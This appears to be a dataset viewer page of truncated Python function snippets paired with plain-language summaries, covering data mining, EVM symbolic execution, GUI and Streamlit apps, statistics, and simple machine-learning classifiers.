if not hmac.compare_digest(request.headers['X-Hub-Signature'].split("=")[1], digest):
abort(400, 'Invalid signature')
if not data:
return "must be json request", 400... |
def Check_Frequent_Itemset(X, list_transactions, min_sup):
"""
Function check the itemset X is a frequent of not
* Parameter:
X -- a 1D python list, indicate an itemset. For example ['milk', 'coffee', ...]
list_transactions -- a 2D python list, indicate the list of transactions
min_support ... | This code implements the Apriori algorithm to identify frequent itemsets from transaction data. It iteratively generates candidate itemsets, prunes them using the Apriori property, and checks their support against a threshold. The process starts with individual items, then builds larger itemsets by joining and validati... | def Frequent_Itemset_Mining_Apriori(list_transactions, list_items, min_sup):
"""
Function perform frequent itemset mining by Apriori algorithm
* Parameter:
list_transactions -- a 2D python list, indicate the list of transactions
list_items -- a 1D python list, indicate all item in database. Fo... |
def unary( o1, step, op='NONE' ):
if is_undefined(o1): return {'type':'undefined','step':step}
z1 = simplify(o1['z3'])
if op == 'NOT': z3 = ~z1
elif op == 'ISZERO': z3 = If(z1 == 0, BitVecVal(1, 256), BitVecVal(0, 256))
else:
print('did not process unary operation %s ' % op )
... | The code executes Ethereum Virtual Machine (EVM) operations symbolically, processing each instruction step-by-step. It manipulates the stack, memory, and storage based on the operation type (e.g., arithmetic, logical, control flow). It validates stack sizes, handles symbolic variables with Z3 bitvectors, and supports o... | def execute( code, stack, pos, storage, mmemory, data, trace, calldepth, debug, read_from_blockchain ):
op = code[pos]['o']
halt = False
executed = True
step = code[pos]['id']
if op not in allops:
print('Unknown operation %s at pos %x' % (op,pos) )
return pos,True
# check if s... |
def setDefaultImage():
default=ImageTk.PhotoImage(Image.open('img/eye.jpg').resize((120,120)))
photoHolder.configure(image=default)
photoHolder.image = default
def clearTree():
x = tv.get_children()
for item in x:
tv.delete(item)
setDefaultImage()
def viewALL():
records = DB_Fun... | The main task of the code is to reset the application's UI state by setting the default image, clearing the tree structure, displaying all items, and clearing the top section, likely preparing the interface for a fresh interaction or data reload. | def reset():
setDefaultImage()
clearTree()
viewALL()
clearTop() |
def get_latest_save_file():
all_save_files = []
for(dirpath, dirnames, filenames) in os.walk(os.getenv('APPDATA') + os.sep + "HelloGames" + os.sep + "NMS"):
for file in filenames:
if file[-3:] == ".hg" and file[:3] != "mf_":
all_save_files.append(os.path.join(dirpath, file))
... | The code gathers system information from game save files and screenshots using OCR, processes black hole (BH) pairing data, and logs completed BH pairings to a CSV file with audio notifications. It continuously monitors for new data, updates system details, and triggers alerts when BH pairings are finalized. | def gather_system_info():
galactic_address = None
system_info = {}
completed_system_info = {}
completed_bh_pairing = {}
try:
while True:
last_modded_save = get_latest_save_file()
last_modded_save_time = os.path.getmtime(last_modded_save)
if last_modded_sa... |
def select_product(self, selected_product):
if selected_product is not None:
forecast_product = st.table(st.session_state['master_data']).selectbox('Select a product ID',
st.session_state[
... | The main task of the code is to initialize a Streamlit forecasting app for D2C/Dropship/Marketplace products. It sets up session_state variables for data storage, displays a product selection interface, and offers an optional cosine similarity feature to extend historical sales data for products with insufficient histo... | def __init__(self):
st.set_page_config(page_title="D2C, Dropship, Marketplace Forecasting")
# initialize session_state vars
if 'forecast_df' not in st.session_state:
st.session_state['forecast_df'] = pd.DataFrame
if 'forecast_df_product' not in st.session_state:
s... |
def activityCount(Data,FrameSize,HopSize,Thresh,actType):
''' def activityCount(Data,FrameSize,HopSize,Thresh,actType)
(Time,Series,FrameSize,HopSize,Thresh,option)
function to identify the occurances and popularity of activity
events (specified by 'option' and 'Thresh') across the columns
of D... | (coordScoreSimple evaluates coordination of a specific activity type across synchronized responses using a parametric test against a random binomial model. It processes time-series data, counts activity events within sliding windows, computes statistical significance via goodness-of-fit tests, and aggregates results in... | def coordScoreSimple(Data,FrameSize,Thresh,actType,Nbins):
''' coordScoreSimple(Data,FrameSize,Thresh,actType,Nbins)
Function to evaluate coordination of one type of activity to a shared stimulus as measured across a collection of synchronised continuous responses. Test applied is parametric, against a ran... |
def activityCount(Data,FrameSize,HopSize,Thresh,actType):
''' def activityCount(Data,FrameSize,HopSize,Thresh,actType)
(Time,Series,FrameSize,HopSize,Thresh,option)
function to identify the occurances and popularity of activity
events (specified by 'option' and 'Thresh') across the columns
of D... | (coordScoreAlternating evaluates the independence of two activity types (e.g., increasing/decreasing responses) in synchronized data, using a parametric test assuming exclusivity (no simultaneous activities). It calculates a coordination score (0–16) via p-values from goodness-of-fit tests on activity distributions acr... | def coordScoreAlternating(Data,FrameSize,Thresh1,actType1,Thresh2,actType2,Nbins=3):
''' coordScoreAlternating(Data,FrameSize,Thresh1,actType1,Thresh2,actType2,Nbins=3)
Function to evaluate the independence of two type of activity to a shared stimulus as measured across a single collection of synchronised c... |
def activityCount(Data,FrameSize,HopSize,Thresh,actType):
''' def activityCount(Data,FrameSize,HopSize,Thresh,actType)
(Time,Series,FrameSize,HopSize,Thresh,option)
function to identify the occurances and popularity of activity
events (specified by 'option' and 'Thresh') across the columns
of D... | (coordScoreRelated evaluates the independence of a specific activity type between two synchronized response datasets. It calculates coordination scores by analyzing activity distributions across time windows, using parametric tests to compare experimental data against a random model. The function outputs a score (0–16)... | def coordScoreRelated(Data1,Data2,FrameSize,Thresh,actType,Nbins=3):
''' coordScoreRelated(Data1,Data2,FrameSize,Thresh1,actType1,Thresh2,actType2,Nbins=3)
Function to evaluate the independence of one type of activity in two collections of responses synchronised to the same stimulus. Working with actual dis... |
def read_file(path):
counter_live = 0
counter_die = 0
dominate_update = True
if path.__contains__("test"):
dominate_update = False
with open(path, 'r') as f:
next(f) # skip first row
header = f.readline()
df = pd.DataFrame(l.rstrip().split() for l in f)
header = ... | The code trains a decision tree classifier on a hepatitis dataset to predict patient outcomes (live/die), evaluates its accuracy on training and test data, compares it to a baseline model, and computes average accuracy across 10 training-test pairs. It preprocesses data, builds trees, and measures performance using cla... | def main():
number_of_classes = 2 # live or die
training_path = "hepatitis-training.dat"
training_x, training_y, attri = read_file(training_path)
attri_training= list(attri)
testing_path = "hepatitis-test.dat"
training_x = pre_processing(training_x)
# print(len(training_x))
tree = build... |
def read_file(path):
file_path = path
iris_data_f = pd.read_csv(file_path, header=None, sep="\s+",
names=["sepal_length", "sepal_width", "petal_length", "petal_width", "class_label"])
return iris_data_f
def pre_processing_data(data):
# normalize the data before feed to the ... | The main task of the code is to perform K-means clustering on the Iris dataset. It reads training and testing data, preprocesses features, combines datasets, initializes three hardcoded cluster centers, computes feature ranges, and executes clustering by assigning data points to the nearest cluster center. The code pre... | def main():
training_path = "iris-training.txt"
df = read_file(training_path)
testing_path = "iris-test.txt"
x_training, y_training = pre_processing_data(df)
df_testing = read_file(testing_path)
x_testing, y_testing = pre_processing_data(df_testing)
x = x_training.append(x_testing,ignore_ind... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.